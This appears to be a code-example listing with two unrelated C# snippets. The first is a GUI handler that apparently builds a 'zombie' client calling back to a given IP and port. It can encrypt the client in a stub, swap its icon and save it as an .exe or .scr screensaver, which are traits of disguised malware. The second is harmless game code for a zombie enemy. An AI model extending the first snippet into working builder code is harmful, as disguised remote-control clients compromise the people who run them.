Example #1
0
        private void BuildButton_Click(object sender, RoutedEventArgs e)
        {
            string errorMsg = "";

            if (string.IsNullOrWhiteSpace(ipTextBox.Text))
            {
                errorMsg = "IP cannot be empty.";
            }
            else if (string.IsNullOrWhiteSpace(portTextBox.Text))
            {
                errorMsg = "Port cannot be empty.";
            }
            else if (generateStubCheckbox.IsChecked == true && string.IsNullOrWhiteSpace(stubEncryptionPasswordTextBox.Text))
            {
                errorMsg = "Encryption password cannot be empty.";
            }

            if (errorMsg.Length > 0)
            {
                MessageBox.Show(errorMsg, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
                return;
            }



            SaveFileDialog dialog = new SaveFileDialog()
            {
                Filter = "Executable (.exe)|*.exe|Screensaver (.scr)|*.scr"
            };

            // dialog.Filter = "Exe Files (.exe)|*.exe;
            if (dialog.ShowDialog() == true)
            {
                if (generateStubCheckbox.IsChecked == true)
                {
                    if (!File.Exists(IconFilePath))
                    {
                        IconFilePath = null;
                    }
                    ZombieBuilder.Build(new ClientSettings(ipTextBox.Text, int.Parse(portTextBox.Text)), "temp.exe");
                    StubCompiler.Compile("temp.exe", stubEncryptionPasswordTextBox.Text, dialog.FileName, IconFilePath);
                    File.Delete("temp.exe");
                }
                else
                {
                    ZombieBuilder.Build(new ClientSettings(ipTextBox.Text, int.Parse(portTextBox.Text)), dialog.FileName);
                    if (File.Exists(IconFilePath))
                    {
                        IconInjector.ChangeIcon(dialog.FileName, IconFilePath);
                    }
                }
            }
        }
Example #2
0
        // TODO: duplicated code. Crawlerilla melkein sama init logic.
        protected override void OnInitialize()
        {
            MonsterBuilder builder = new ZombieBuilder();

            builder.Build(Owner);

            Tree tree = CreateTree();

            tree.Initialize();

            Owner.AddComponent(tree);

            // Idle, Walk, Attack
            spriterComponent = new SpriterComponent <Texture2D>(Owner, @"Animations\GenericZombie\GenericZombie");
            spriterComponent.Initialize();
            spriterComponent.ChangeAnimation("Walk");
            spriterComponent.Scale = 0.5f;

            Owner.AddComponent(spriterComponent);

            steeringComponent = Owner.FirstComponentOfType <SteeringComponent>();

            SteeringBehavior flee = new FleeBehavior()
            {
                DesiredVelocity = new Vector2(4.25f),
                MaxSpeed        = 3.25f
            };

            SteeringBehavior seek = new SeekBehavior()
            {
                DesiredVelocity = new Vector2(4.25f),
                MaxSpeed        = 3.25f
            };

            steeringComponent.AddBehavior(flee);
            steeringComponent.AddBehavior(seek);

            steeringComponent.ChangeActiveBehavior(typeof(SeekBehavior));
        }